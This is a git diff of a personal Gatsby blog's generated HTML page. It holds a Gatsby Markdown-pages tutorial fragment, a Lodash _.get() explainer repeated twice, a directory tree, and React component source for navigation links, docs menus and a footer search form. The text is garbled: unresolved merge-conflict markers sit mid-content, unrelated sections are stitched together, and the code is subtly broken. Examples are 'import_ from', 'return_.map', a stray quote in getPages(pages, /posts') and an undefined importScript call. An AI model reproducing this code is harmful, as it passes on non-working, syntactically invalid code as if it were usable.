+Create <code>src/pages/{MarkdownRemark.frontmatter__slug}.js</code> and add the following code:
+src/pages/{MarkdownRemark.frontmatter__slug}.js<pre><code>import React from &quot;react&quot;
+import { graphql } from &quot;gatsby&quot;export default function Template({  data, }) {  const { markdownRemark } = data   const { frontmatter, html } = markdownRemark  return (    &lt;div className=&quot;blog-post-container&quot;&gt;       &lt;div className=&quot;blog-post&quot;&gt;         &lt;h1&gt; {frontmatter.title}&lt;/h1&gt;         &lt;h2&gt; {frontmatter.date}&lt;/h2&gt;         &lt;div          className=&quot;blog-post-content&quot;          dangerouslySetInnerHTML={{__html: html }}        /&gt;       &lt;/div&gt;     &lt;/div&gt;   )}export const pageQuery = graphql`  query($id: String!) {    markdownRemark(id: {
+eq: $id }) {      html      frontmatter {        date(formatString: &quot;MMMM DD, YYYY&quot;)        slug        title      }    }  }`
+</code></pre>Two things are important in the file above:</li>
+<li>A GraphQL query is made in the second half of the file to get the Markdown data. Gatsby has automagically given you all the Markdown metadata and HTML in this query&#39;s result.
+ <strong>Note: To learn more about GraphQL, consider this <a href="https://www.howtographql.com/">excellent resource</a></strong></li>
+<li>The result of the query is injected by Gatsby into the component as the <code>data</code> prop. <code>props.data.markdownRemark</code> is the property that has all the details of the Markdown file.
+Next you could create a page component at <code>src/pages/blog/index.js</code> to serve as a listing page for all your blog posts.
+This should get you started on some basic Markdown functionality in your Gatsby site. You can further customize the frontmatter and the component file to get desired effects!
+For more information, have a look in the working example <code>using-markdown-pages</code>. You can find it in the <a href="https://github.com/gatsbyjs/gatsby/tree/master/examples">Gatsby examples section</a>.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#other-tutorials">Other tutorials</a>
+</details></li>
+</ol>
+<hr>
+<h3 id="overview">Overview</h3>
+<p>The <strong><code>_.get()</code> method</strong> in Lodash retrieves the object’s value at a specific path.
+If the value is not present at the object’s specific path, it will be resolved as <code>undefined</code>. This method will return the default value if specified in such a case.</p>
+<h3 id="syntax">Syntax</h3>
+<pre><code class="lang-js">_.get(object, path, defaultValue)
+</code></pre>
+<h3 id="parameters">Parameters</h3>
+<p>This method accepts the following parameters:</p>
+<ul>
+<li><strong><code>object</code></strong>: The object in which the given path will be queried.</li>
+<li><strong><code>path</code></strong>: The path used to retrieve the value from the object.</li>
+<li><strong><code>defaultValue</code></strong>: The default value that will be returned for resolved values that are undefined.<h3 id="return-value">Return value</h3>
+This method will return the value at the specified path if found. Otherwise, it will return the default value if specified.<h3 id="example">Example</h3>
+Let’s look at an example of the <code>_.get()</code> method in the code snippet below:<h3 id="explanation">Explanation</h3>
+In the HTML tab:</li>
+<li><strong>Line 5</strong>: We import the <code>lodash</code> script.
+In the JavaScript tab:</li>
+<li><strong>Lines 2 to 15</strong>: We create an object to perform a query.</li>
+<li><strong>Line 18</strong>: We define a variable <code>collegeYopPath</code> to get the value.</li>
+<li><strong>Lines 19</strong>: We use the <code>_.get()</code> method and pass the <code>object</code>, <code>collegeYopPath</code>, and a default value as parameters.</li>
+<li><strong>Line 22</strong>: We define a variable <code>falsyPath</code> to get the value.</li>
+<li><strong>Lines 23</strong>: We use the <code>_.get()</code> method and pass the <code>object</code>, <code>falsyPath</code> and a <code>default value</code> as parameters.<h3 id="output">Output</h3>
+</li>
+<li>The <code>_.get()</code> method at <strong>line 19</strong> contains a valid path, and therefore the expression is resolved, and <code>2021</code> is printed on the console.</li>
+<li>The <code>_.get()</code> method at <strong>Line 23</strong> contains an invalid path, and therefore the expression is resolved as <code>undefined</code>.</li>
+</ul>
+</div>
+          <h2 id="technoloy">Technoloy</h2>
+          <div><h2 id="tech-stack"><img src="https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/madewith.png?raw=true" alt="tech-stack"></h2>
+</div>
+          <h2 id="sourcecode">SOURCECODE</h2>
+          <div><hr>
+<h3 id="overview">Overview</h3>
+<p>The <strong><code>_.get()</code> method</strong> in Lodash retrieves the object’s value at a specific path.
+If the value is not present at the object’s specific path, it will be resolved as <code>undefined</code>. This method will return the default value if specified in such a case.</p>
+<h3 id="syntax">Syntax</h3>
+<pre><code class="lang-js">_.get(object, path, defaultValue)
+</code></pre>
+<h3 id="parameters">Parameters</h3>
+<p>This method accepts the following parameters:</p>
+<ul>
+<li><strong><code>object</code></strong>: The object in which the given path will be queried.</li>
+<li><strong><code>path</code></strong>: The path used to retrieve the value from the object.</li>
+<li><strong><code>defaultValue</code></strong>: The default value that will be returned for resolved values that are undefined.<h3 id="return-value">Return value</h3>
+This method will return the value at the specified path if found. Otherwise, it will return the default value if specified.<h3 id="example">Example</h3>
+Let’s look at an example of the <code>_.get()</code> method in the code snippet below:<h3 id="explanation">Explanation</h3>
+In the HTML tab:</li>
+<li><strong>Line 5</strong>: We import the <code>lodash</code> script.
+In the JavaScript tab:</li>
+<li><strong>Lines 2 to 15</strong>: We create an object to perform a query.</li>
+<li><strong>Line 18</strong>: We define a variable <code>collegeYopPath</code> to get the value.</li>
+<li><strong>Lines 19</strong>: We use the <code>_.get()</code> method and pass the <code>object</code>, <code>collegeYopPath</code>, and a default value as parameters.</li>
+<li><strong>Line 22</strong>: We define a variable <code>falsyPath</code> to get the value.</li>
+<li><strong>Lines 23</strong>: We use the <code>_.get()</code> method and pass the <code>object</code>, <code>falsyPath</code> and a <code>default value</code> as parameters.<h3 id="output">Output</h3>
+</li>
+<li>The <code>_.get()</code> method at <strong>line 19</strong> contains a valid path, and therefore the expression is resolved, and <code>2021</code> is printed on the console.</li>
+<li>The <code>_.get()</code> method at <strong>Line 23</strong> contains an invalid path, and therefore the expression is resolved as <code>undefined</code>.</li>
+</ul>
+<hr>
+<pre><code>bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$ tree -f
+>>>>>>> master
 .
 ├── ./components
 │   ├── ./components/ActionLink.js
@@ -2954,6 +5472,7 @@ <h1 id="sourcecode">SOURCECODE</h1>
     ├── ./utils/toStyleObj.js
     ├── ./utils/toUrl.js
     └── ./utils/withPrefix.js
+<<<<<<< HEAD
 
 21 directories, 119 files
 bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$
@@ -3592,11 +6111,665 @@ <h1 id="source-code">Source Code</h1>
             &lt;tr&gt;
             &lt;td
             style={{
+=======
+21 directories, 119 files
+bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$
+</code></pre><hr>
+</div>
+          <h2 id="source-code">Source Code</h2>
+          <div><p><details></p>
+<summary>  Folder Structure (src)  </summary>
+<code>.
+├── Combined_____-_____Doc.md
+├── components
+│     ├── ActionLink.js
+│     ├── CtaButtons.js
+│     ├── DarkToggle
+│     │     ├── index.js
+│     │     └── styles.js
+│     ├── DocsMenu.js
+│     ├── DocsSubmenu.js
+│     ├── Footer.js
+│     ├── Header.js
+│     ├── Icon.js
+│     ├── Layout.js
+│     ├── SectionContent.js
+│     ├── SectionCta.js
+│     ├── SectionDocs.js
+│     ├── SectionGrid.js
+│     ├── SectionHero.js
+│     ├── Submenu.js
+│     ├── global.css
+│     └── index.js
+├── data
+│     └── doc_sections.yml
+├── hooks
+│     ├── addScript.js
+│     ├── index.js
+│     ├── useDarkMode.js
+│     ├── useEventListener.js
+│     ├── useMediaQuery.js
+│     ├── useOnClickOutside.js
+│     ├── useQueryParam.js
+│     ├── useSize.js
+│     └── useStorage.js
+├── html.js
+├── pages
+│     ├── blog
+│     │     ├── 300-react-questions.md
+│     │     ├── awesome-graphql.md
+│     │     ├── big-o-complexity.md
+│     │     ├── blog-archive.md
+│     │     ├── blogwcomments.md
+│     │     ├── data-structures.md
+│     │     ├── flow-control-in-python.md
+│     │     ├── functions-in-python.md
+│     │     ├── git-gateway.md
+│     │     ├── index.md
+│     │     ├── interview-questions-js.md
+│     │     ├── netlify-cms.md
+│     │     ├── platform-docs.md
+│     │     ├── python-for-js-dev.md
+│     │     ├── python-resources.md
+│     │     ├── web-dev-trends.md
+│     │     └── web-scraping.md
+│     ├── docs
+│     │     ├── about
+│     │     │     ├── eng-portfolio.md
+│     │     │     ├── ideas-for-this-website.md
+│     │     │     ├── index.md
+│     │     │     ├── intrests.md
+│     │     │     ├── job-search.md
+│     │     │     └── resume.md
+│     │     ├── articles
+│     │     │     ├── basic-web-dev.md
+│     │     │     ├── buffers.md
+│     │     │     ├── dev-dep.md
+│     │     │     ├── event-loop.md
+│     │     │     ├── fs-module.md
+│     │     │     ├── how-the-web-works.md
+│     │     │     ├── http.md
+│     │     │     ├── index.md
+│     │     │     ├── install.md
+│     │     │     ├── intro.md
+│     │     │     ├── modules.md
+│     │     │     ├── nextjs.md
+│     │     │     ├── node-api-express.md
+│     │     │     ├── node-cli-args.md
+│     │     │     ├── node-common-modules.md
+│     │     │     ├── node-env-variables.md
+│     │     │     ├── node-js-language.md
+│     │     │     ├── node-package-manager.md
+│     │     │     ├── node-repl.md
+│     │     │     ├── node-run-cli.md
+│     │     │     ├── nodejs.md
+│     │     │     ├── nodevsbrowser.md
+│     │     │     ├── npm.md
+│     │     │     ├── npx.md
+│     │     │     ├── os-module.md
+│     │     │     ├── reading-files.md
+│     │     │     ├── semantic-html.md
+│     │     │     ├── semantic.md
+│     │     │     ├── the-uniform-resource-locator-(url).md
+│     │     │     ├── understanding-firebase.md
+│     │     │     ├── v8.md
+│     │     │     ├── web-standards-checklist.md
+│     │     │     ├── webdev-tools.md
+│     │     │     └── writing-files.md
+│     │     ├── audio
+│     │     │     ├── audio-feature-extraction.md
+│     │     │     ├── audio.md
+│     │     │     ├── dfft.md
+│     │     │     ├── discrete-fft.md
+│     │     │     ├── dtw-python-explained.md
+│     │     │     ├── dynamic-time-warping.md
+│     │     │     ├── index.md
+│     │     │     └── web-audio-api.md
+│     │     ├── career
+│     │     │     ├── dev-interview.md
+│     │     │     ├── index.md
+│     │     │     ├── interview-dos-n-donts.md
+│     │     │     └── job-boards.md
+│     │     ├── community
+│     │     │     ├── an-open-letter-2-future-developers.md
+│     │     │     ├── index.md
+│     │     │     └── video-chat.md
+│     │     ├── content
+│     │     │     ├── algo.md
+│     │     │     ├── archive.md
+│     │     │     ├── gatsby-Queries-Mutations.md
+│     │     │     ├── history-api.md
+│     │     │     ├── index.md
+│     │     │     ├── main-projects.md
+│     │     │     └── trouble-shooting.md
+│     │     ├── data-structures
+│     │     │     └── index.md
+│     │     ├── docs
+│     │     │     ├── appendix.md
+│     │     │     ├── art-of-command-line.md
+│     │     │     ├── bash.md
+│     │     │     ├── content.md
+│     │     │     ├── css.md
+│     │     │     ├── data-structures-docs.md
+│     │     │     ├── es-6-features.md
+│     │     │     ├── git-reference.md
+│     │     │     ├── git-repos.md
+│     │     │     ├── html-spec.md
+│     │     │     ├── index.md
+│     │     │     ├── markdown.md
+│     │     │     ├── no-whiteboarding.md
+│     │     │     ├── node-docs-complete.md
+│     │     │     ├── node-docs-full.md
+│     │     │     ├── regex-in-js.md
+│     │     │     └── sitemap.md
+│     │     ├── faq
+│     │     │     ├── contact.md
+│     │     │     ├── index.md
+│     │     │     └── plug-ins.md
+│     │     ├── gists.md
+│     │     ├── index.md
+│     │     ├── interact
+│     │     │     ├── callstack-visual.md
+│     │     │     ├── clock.md
+│     │     │     ├── index.md
+│     │     │     ├── jupyter-notebooks.md
+│     │     │     ├── other-sites.md
+│     │     │     └── video-chat.md
+│     │     ├── interview
+│     │     │     ├── index.md
+│     │     │     ├── job-search-nav.md
+│     │     │     └── review-concepts.md
+│     │     ├── javascript
+│     │     │     ├── arrow-functions.md
+│     │     │     ├── asyncjs.md
+│     │     │     ├── await-keyword.md
+│     │     │     ├── bigo.md
+│     │     │     ├── clean-code.md
+│     │     │     ├── constructor-functions.md
+│     │     │     ├── index.md
+│     │     │     ├── promises.md
+│     │     │     ├── review.md
+│     │     │     └── this-is-about-this.md
+│     │     ├── leetcode
+│     │     │     └── index.md
+│     │     ├── privacy-policy.md
+│     │     ├── projects
+│     │     │     ├── embeded-websites.md
+│     │     │     ├── index.md
+│     │     │     ├── list-of-projects.md
+│     │     │     ├── mini-projects.md
+│     │     │     └── my-websites.md
+│     │     ├── python
+│     │     │     ├── at-length.md
+│     │     │     ├── cheat-sheet.md
+│     │     │     ├── comprehensive-guide.md
+│     │     │     ├── examples.md
+│     │     │     ├── flow-control.md
+│     │     │     ├── functions.md
+│     │     │     ├── google-sheets-api.md
+│     │     │     ├── index.md
+│     │     │     ├── intro-for-js-devs.md
+│     │     │     ├── python-ds.md
+│     │     │     └── snippets.md
+│     │     ├── quick-reference
+│     │     │     ├── Emmet.md
+│     │     │     ├── all-emojis.md
+│     │     │     ├── create-react-app.md
+│     │     │     ├── git-bash.md
+│     │     │     ├── git-tricks.md
+│     │     │     ├── google-firebase.md
+│     │     │     ├── heroku-error-codes.md
+│     │     │     ├── index.md
+│     │     │     ├── installation.md
+│     │     │     ├── markdown-dropdowns.md
+│     │     │     ├── minifiction.md
+│     │     │     ├── new-repo-instructions.md
+│     │     │     ├── psql-setup.md
+│     │     │     ├── pull-request-rubric.md
+│     │     │     ├── quick-links.md
+│     │     │     ├── topRepos.md
+│     │     │     ├── understanding-path.md
+│     │     │     └── vscode-themes.md
+│     │     ├── react
+│     │     │     ├── ajax-n-apis.md
+│     │     │     ├── cheatsheet.md
+│     │     │     ├── createReactApp.md
+│     │     │     ├── demo.md
+│     │     │     ├── dont-use-index-as-keys.md
+│     │     │     ├── index.md
+│     │     │     ├── jsx.md
+│     │     │     ├── react-docs.md
+│     │     │     ├── react-in-depth.md
+│     │     │     ├── react2.md
+│     │     │     └── render-elements.md
+│     │     ├── reference
+│     │     │     ├── awesome-lists.md
+│     │     │     ├── awesome-static.md
+│     │     │     ├── bash-commands.md
+│     │     │     ├── bookmarks.md
+│     │     │     ├── embed-the-web.md
+│     │     │     ├── github-search.md
+│     │     │     ├── google-cloud.md
+│     │     │     ├── how-2-reinstall-npm.md
+│     │     │     ├── how-to-kill-a-process.md
+│     │     │     ├── index.md
+│     │     │     ├── installing-node.md
+│     │     │     ├── intro-to-nodejs.md
+│     │     │     ├── notes-template.md
+│     │     │     ├── psql.md
+│     │     │     ├── resources.md
+│     │     │     ├── vscode.md
+│     │     │     └── web-api&#39;s.md
+│     │     ├── search.md
+│     │     ├── sitemap.md
+│     │     ├── tips
+│     │     │     ├── array-methods.md
+│     │     │     ├── index.md
+│     │     │     └── insert-into-array.md
+│     │     ├── tools
+│     │     │     ├── Archive.md
+│     │     │     ├── data-structures.md
+│     │     │     ├── dev-utilities.md
+│     │     │     ├── index.md
+│     │     │     └── markdown-html.md
+│     │     └── tutorials
+│     │         ├── enviorment-setup.md
+│     │         └── index.md
+│     ├── index.md
+│     ├── privacy-policy.md
+│     ├── readme.md
+│     └── showcase.md
+├── sass
+│     ├── imports
+│     │     ├── _animations.scss
+│     │     ├── _buttons.scss
+│     │     ├── _docs.scss
+│     │     ├── _footer.scss
+│     │     ├── _forms.scss
+│     │     ├── _functions.scss
+│     │     ├── _general.scss
+│     │     ├── _header.scss
+│     │     ├── _helpers.scss
+│     │     ├── _icons.scss
+│     │     ├── _palettes.scss
+│     │     ├── _posts.scss
+│     │     ├── _prism.scss
+│     │     ├── _reset.scss
+│     │     ├── _sections.scss
+│     │     ├── _structure.scss
+│     │     ├── _tables.scss
+│     │     └── _variables.scss
+│     └── main.scss
+├── templates
+│     ├── advanced.js
+│     ├── blog.js
+│     ├── docs.js
+│     ├── page.js
+│     ├── post.js
+│     └── templates.md
+└── utils
+    ├── attribute.js
+    ├── blm-badge.js
+    ├── classNames.js
+    ├── cycler.js
+    ├── getData.js
+    ├── getPage.js
+    ├── getPageByFilePath.js
+    ├── getPages.js
+    ├── htmlToReact.js
+    ├── index.js
+    ├── link.js
+    ├── markdownify.js
+    ├── pathJoin.js
+    ├── toStyleObj.js
+    ├── toUrl.js
+    └── withPrefix.js
+32 directories, 272 files</code>
+</details>
+<details>
+<summary>  Click To See Component Sourcecode  </summary></div>
+          <h2 id="component-structure">Component Structure</h2>
+          <div><pre><code>.
+├── ActionLink.js
+├── CtaButtons.js
+├── DarkToggle
+│     ├── index.js
+│     └── styles.js
+├── DocsMenu.js
+├── DocsSubmenu.js
+├── Footer.js
+├── Header.js
+├── Icon.js
+├── Layout.js
+├── SectionContent.js
+├── SectionCta.js
+├── SectionDocs.js
+├── SectionGrid.js
+├── SectionHero.js
+├── Submenu.js
+├── global.css
+└── index.js
+</code></pre><hr>
+<pre><code class="lang-js">import React from &#39;react&#39;;
+import _ from &#39;lodash&#39;;
+import { Link, withPrefix, classNames } from &#39;../utils&#39;;
+import Icon from &#39;./Icon&#39;;
+export default class ActionLink extends React.Component {
+    render() {
+        let action = _.get(this.props, &#39;action&#39;, null);
+        return (
+            &lt;Link
+                to={withPrefix(_.get(action, &#39;url&#39;, null))}
+                {...(_.get(action, &#39;new_window&#39;, null) ? { target: &#39;_blank&#39; } : null)}
+                {...(_.get(action, &#39;new_window&#39;, null) || _.get(action, &#39;no_follow&#39;, null)
+                    ? {
+                          rel: (_.get(action, &#39;new_window&#39;, null) ? &#39;noopener &#39; : &#39;&#39;) + (_.get(action, &#39;no_follow&#39;, null) ? &#39;nofollow&#39; : &#39;&#39;)
+                      }
+                    : null)}
+                className={classNames({
+                    button: _.get(action, &#39;style&#39;, null) !== &#39;link&#39;,
+                    &#39;button-secondary&#39;: _.get(action, &#39;style&#39;, null) === &#39;secondary&#39;,
+                    &#39;button-icon&#39;: _.get(action, &#39;style&#39;, null) === &#39;icon&#39;
+                })}
+            &gt;
+                {_.get(action, &#39;style&#39;, null) === &#39;icon&#39; &amp;&amp;_.get(action, &#39;icon_class&#39;, null) ? (
+                    &lt;React.Fragment&gt;
+                        &lt;Icon {...this.props} icon={_.get(action, &#39;icon_class&#39;, null)} /&gt;
+                        &lt;span className=&quot;screen-reader-text&quot;&gt; {_.get(action, &#39;label&#39;, null)}&lt;/span&gt;
+                    &lt;/React.Fragment&gt;
+                ) : (
+                    _.get(action, &#39;label&#39;, null)
+                )}
+            &lt;/Link&gt;
+        );
+    }
+}
+</code></pre>
+<hr>
+<h3 id="table-of-contents">Table of Contents</h3>
+<ul>
+<li>[getPage][1]<ul>
+<li>[Parameters][2]</li>
+</ul>
+</li>
+<li>[getPageByFilePath][3]<ul>
+<li>[Parameters][4]</li>
+</ul>
+</li>
+<li>[getPages][5]<ul>
+<li>[Parameters][6]</li>
+<li>[Examples][7]</li>
+</ul>
+</li>
+</ul>
+</div>
+          <h2 id="get-page">getPage</h2>
+          <div><p>Get the page at the provided <code>urlPath</code>.</p>
+<h3 id="parameters">Parameters</h3>
+<ul>
+<li><code>pages</code> <strong>[Array][8]</strong> Array of page objects. All pages must have &#39;url&#39; field.</li>
+<li><code>urlPath</code> <strong>[string][9]</strong> The url path to find the page by
+Returns <strong>[Object][10]</strong></li>
+</ul>
+</div>
+          <h2 id="get-page-by-file-path">getPageByFilePath</h2>
+          <div><p>Get the page at the provided <code>filePath</code>.</p>
+<h3 id="parameters">Parameters</h3>
+<ul>
+<li><code>pages</code> <strong>[Array][8]</strong> Array of page objects. All pages must have &#39;url&#39; field.</li>
+<li><code>filePath</code> <strong>[string][9]</strong> The file path to find the page by
+Returns <strong>[Object][10]</strong></li>
+</ul>
+</div>
+          <h2 id="get-pages">getPages</h2>
+          <div><p>Get all the pages located under the provided <code>urlPath</code>, not including the
+index page. I.e.: All pages having their URLs start with <code>urlPath</code> excluding
+the page having its URL equal to <code>urlPath</code>.</p>
+<h3 id="parameters">Parameters</h3>
+<ul>
+<li><code>pages</code> <strong><a href="https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></strong> Array of page objects. All pages must have &#39;url&#39; field.</li>
+<li><code>urlPath</code> <strong><a href="https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String">string</a></strong> The url path to filter pages by<h3 id="examples">Examples</h3>
+<pre><code class="lang-javascript">pages =&gt; [
+{url: &#39;/&#39;},
+{url: &#39;/about&#39;},
+{url: &#39;/posts&#39;},
+{url: &#39;/posts/hello&#39;},
+{url: &#39;/posts/world&#39;}
+]
+getPages(pages, /posts&#39;)
+=&gt; [
+{url: &#39;/posts/hello&#39;},
+{url: &#39;/posts/world&#39;}
+]
+</code></pre>
+Returns <strong><a href="https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></strong></li>
+</ul>
+<pre><code class="lang-js">import React from &#39;react&#39;;
+import_ from &#39;lodash&#39;;
+import { Link, withPrefix, classNames } from &#39;../utils&#39;;
+export default class CtaButtons extends React.Component {
+    render() {
+        let actions = _.get(this.props, &#39;actions&#39;, null);
+return_.map(actions, (action, action_idx) =&gt; (
+            &lt;Link
+                key={action_idx}
+                to={withPrefix(_.get(action, &#39;url&#39;, null))}
+                {...(_.get(action, &#39;new_window&#39;, null) ? { target: &#39;_blank&#39; } : null)}
+                {...(_.get(action, &#39;new_window&#39;, null) || _.get(action, &#39;no_follow&#39;, null)
+                    ? {
+                          rel: (_.get(action, &#39;new_window&#39;, null) ? &#39;noopener &#39; : &#39;&#39;) + (_.get(action, &#39;no_follow&#39;, null) ? &#39;nofollow&#39; : &#39;&#39;)
+                      }
+                    : null)}
+                className={classNames({
+button:_.get(action, &#39;style&#39;, null) === &#39;primary&#39; || _.get(action, &#39;style&#39;, null) === &#39;secondary&#39;,
+&#39;button-secondary&#39;:_.get(action, &#39;style&#39;, null) === &#39;secondary&#39;
+                })}
+            &gt;
+                {_.get(action, &#39;label&#39;, null)}
+            &lt;/Link&gt;
+        ));
+    }
+}
+</code></pre>
+<hr>
+<pre><code class="lang-js">import React from &#39;react&#39;;
+import_ from &#39;lodash&#39;;
+import { getPage, classNames, Link, withPrefix, pathJoin, getPages } from &#39;../utils&#39;;
+import DocsSubmenu from &#39;./DocsSubmenu&#39;;
+export default class DocsMenu extends React.Component {
+    render() {
+        let site = _.get(this.props, &#39;site&#39;, null);
+let page =_.get(this.props, &#39;page&#39;, null);
+        let root_docs_path = _.get(site, &#39;data.doc_sections.root_docs_path&#39;, null);
+        let root_page = getPage(this.props.pageContext.pages, root_docs_path);
+        return (
+            &lt;nav id=&quot;docs-nav&quot; className=&quot;docs-nav&quot;&gt;
+                &lt;div id=&quot;docs-nav-inside&quot; className=&quot;docs-nav-inside sticky&quot;&gt;
+                    &lt;button id=&quot;docs-nav-toggle&quot; className=&quot;docs-nav-toggle&quot;&gt;
+                        Navigate Docs
+                        &lt;span className=&quot;icon-angle-right&quot; aria-hidden=&quot;true&quot; /&gt;
+                    &lt;/button&gt;
+                    &lt;div className=&quot;docs-nav-menu&quot;&gt;
+                        &lt;ul id=&quot;docs-menu&quot; className=&quot;docs-menu&quot;&gt;
+                            &lt;li
+                                className={classNames(&#39;docs-menu-item&#39;, {
+current:_.get(page, &#39;url&#39;, null) === _.get(root_page, &#39;url&#39;, null)
+                                })}
+                            &gt;
+                                &lt;Link to={withPrefix(_.get(root_page, &#39;url&#39;, null))}&gt; {_.get(root_page, &#39;frontmatter.title&#39;, null)}&lt;/Link&gt;
+                            &lt;/li&gt;
+                            {_.map(_.get(site, &#39;data.doc_sections.sections&#39;, null), (section, section_idx) =&gt; {
+                                let section_path = pathJoin(root_docs_path, section);
+                                let section_page = getPage(this.props.pageContext.pages, section_path);
+                                let child_pages = _.orderBy(getPages(this.props.pageContext.pages, section_path), &#39;frontmatter.weight&#39;);
+let child_count =_.size(child_pages);
+                                let has_children = child_count &gt; 0 ? true : false;
+                                let is_current_page = _.get(page, &#39;url&#39;, null) ===_.get(section_page, &#39;url&#39;, null) ? true : false;
+                                let is_active = _.get(page, &#39;url&#39;, null).startsWith(_.get(section_page, &#39;url&#39;, null));
+                                return (
+                                    &lt;React.Fragment key={section_idx + &#39;.1&#39;}&gt;
+                                        &lt;li
+                                            key={section_idx}
+                                            className={classNames(&#39;docs-menu-item&#39;, {
+                                                &#39;has-children&#39;: has_children,
+                                                current: is_current_page,
+                                                active: is_active
+                                            })}
+                                        &gt;
+                                            &lt;Link to={withPrefix(_.get(section_page, &#39;url&#39;, null))}&gt; {_.get(section_page, &#39;frontmatter.title&#39;, null)}&lt;/Link&gt;
+                                            {has_children &amp;&amp; (
+                                                &lt;React.Fragment&gt;
+                                                    &lt;button className=&quot;docs-submenu-toggle&quot;&gt;
+                                                        &lt;span className=&quot;screen-reader-text&quot;&gt; Submenu&lt;/span&gt;
+                                                        &lt;span className=&quot;icon-angle-right&quot; aria-hidden=&quot;true&quot; /&gt;
+                                                    &lt;/button&gt;
+                                                    &lt;DocsSubmenu {...this.props} child_pages={child_pages} page={page} site={site} /&gt;
+                                                &lt;/React.Fragment&gt;
+                                            )}
+                                        &lt;/li&gt;
+                                    &lt;/React.Fragment&gt;
+                                );
+                            })}
+                        &lt;/ul&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/nav&gt;
+        );
+    }
+}
+</code></pre>
+<hr>
+<pre><code class="lang-js">import React from &#39;react&#39;;
+import _from &#39;lodash&#39;;
+import { classNames, Link, withPrefix } from &#39;../utils&#39;;
+export default class DocsSubmenu extends React.Component {
+    render() {
+let child_pages =_.get(this.props, &#39;child_pages&#39;, null);
+        let page = _.get(this.props, &#39;page&#39;, null);
+        return (
+            &lt;ul className=&quot;docs-submenu&quot;&gt;
+                {_.map(child_pages, (child_page, child_page_idx) =&gt; (
+                    &lt;li
+                        key={child_page_idx}
+                        className={classNames(&#39;docs-menu-item&#39;, {
+                            current: _.get(page, &#39;url&#39;, null) ===_.get(child_page, &#39;url&#39;, null)
+                        })}
+                    &gt;
+                        &lt;Link to={withPrefix(_.get(child_page, &#39;url&#39;, null))}&gt; {_.get(child_page, &#39;frontmatter.title&#39;, null)}&lt;/Link&gt;
+                    &lt;/li&gt;
+                ))}
+            &lt;/ul&gt;
+        );
+    }
+}
+</code></pre>
+<hr>
+<pre><code class="lang-js">import _ from &#39;lodash&#39;;
+import React from &#39;react&#39;;
+import { htmlToReact } from &#39;../utils&#39;;
+import ActionLink from &#39;./ActionLink&#39;;
+import addScript from &#39;./../hooks/addScript&#39;;
+const Script = (props) =&gt; {
+    importScript(&#39;./../hooks/addScript.js&#39;);
+};
+export default class Footer extends React.Component {
+    render() {
+        return (
+            &lt;footer id=&quot;colophon&quot; className=&quot;site-footer outer&quot;&gt;
+                &lt;div&gt;
+                    &lt;center&gt;
+                        &lt;br /&gt;
+                        &lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.jsdelivr.net/npm/@algolia/algoliasearch-netlify-frontend@1/dist/algoliasearchNetlify.css&quot; /&gt;
+                        &lt;br /&gt;
+                        &lt;table cellPadding={0} cellSpacing={0} border={0}&gt;
+                            &lt;tbody&gt;
+                                &lt;tr&gt;
+                                    &lt;td
+                                        style={{
+                                            fontFamily: &#39;Arial, Helvetica, sans-serif&#39;,
+                                            fontSize: &#39;7.5pt&#39;
+                                        }}
+                                    &gt;
+                                        &lt;center&gt;
+                                            &lt;table
+                                                width=&quot;95%&quot;
+                                                cellPadding={0}
+                                                cellSpacing={0}
+                                                border={0}
+                                                style={{
+                                                    fontFamily: &#39;Arial, Helvetica, sans-serif&#39;,
+                                                    fontSize: &#39;7.5pt&#39;
+                                                }}
+                                            &gt;
+                                                &lt;tbody&gt;
+                                                    &lt;tr&gt;
+                                                        &lt;td
+                                                            style={{
+                                                                fontFamily: &#39;Arial, Helvetica, sans-serif&#39;,
+                                                                fontSize: &#39;7.5pt&#39;
+                                                            }}
+                                                            align=&quot;left&quot;
+                                                        &gt;
+                                                            &lt;a target=&quot;_blank&quot; href=&quot;https://search.freefind.com/siteindex.html?si=14588965&quot;&gt;
+                                                                index
+                                                            &lt;/a&gt;
+                                                        &lt;/td&gt;
+                                                        &lt;td
+                                                            style={{
+                                                                fontFamily: &#39;Arial, Helvetica, sans-serif&#39;,
+                                                                fontSize: &#39;7.5pt&#39;
+                                                            }}
+                                                            align=&quot;center&quot;
+                                                        &gt;
+                                                            &lt;a target=&quot;_blank&quot; href=&quot;https://search.freefind.com/find.html?si=14588965&amp;m=0&amp;p=0&quot;&gt;
+                                                                sitemap
+                                                            &lt;/a&gt;
+                                                        &lt;/td&gt;
+                                                        &lt;td
+                                                            style={{
+                                                                fontFamily: &#39;Arial, Helvetica, sans-serif&#39;,
+                                                                fontSize: &#39;7.5pt&#39;
+                                                            }}
+                                                            align=&quot;right&quot;
+                                                        &gt;
+                                                            &lt;a target=&quot;_blank&quot; href=&quot;https://search.freefind.com/find.html?si=14588965&amp;pid=a&quot;&gt;
+                                                                advanced
+                                                            &lt;/a&gt;
+                                                        &lt;/td&gt;
+                                                    &lt;/tr&gt;
+                                                &lt;/tbody&gt;
+                                            &lt;/table&gt;
+                                        &lt;/center&gt;
+                                        &lt;form
+                                            style={{
+                                                margin: &#39;0px&#39;,
+                                                marginTop: &#39;2px&#39;
+                                            }}
+                                            action=&quot;https://search.freefind.com/find.html&quot;
+                                            method=&quot;get&quot;
+                                            acceptCharset=&quot;utf-8&quot;
+                                            target=&quot;_self&quot;
+                                        &gt;
+                                            &lt;input type=&quot;hidden&quot; name=&quot;si&quot; defaultValue={14588965} /&gt;
+                                            &lt;input type=&quot;hidden&quot; name=&quot;pid&quot; defaultValue=&quot;r&quot; /&gt;
+                                            &lt;input type=&quot;hidden&quot; name=&quot;n&quot; defaultValue={0} /&gt;
+                                            &lt;input type=&quot;hidden&quot; name=&quot;_charset_&quot; defaultValue /&gt;
+                                            &lt;input type=&quot;hidden&quot; name=&quot;bcd&quot; defaultValue=&quot;÷&quot; /&gt;
+                                            &lt;input type=&quot;text&quot; name=&quot;query&quot; size={15} /&gt;
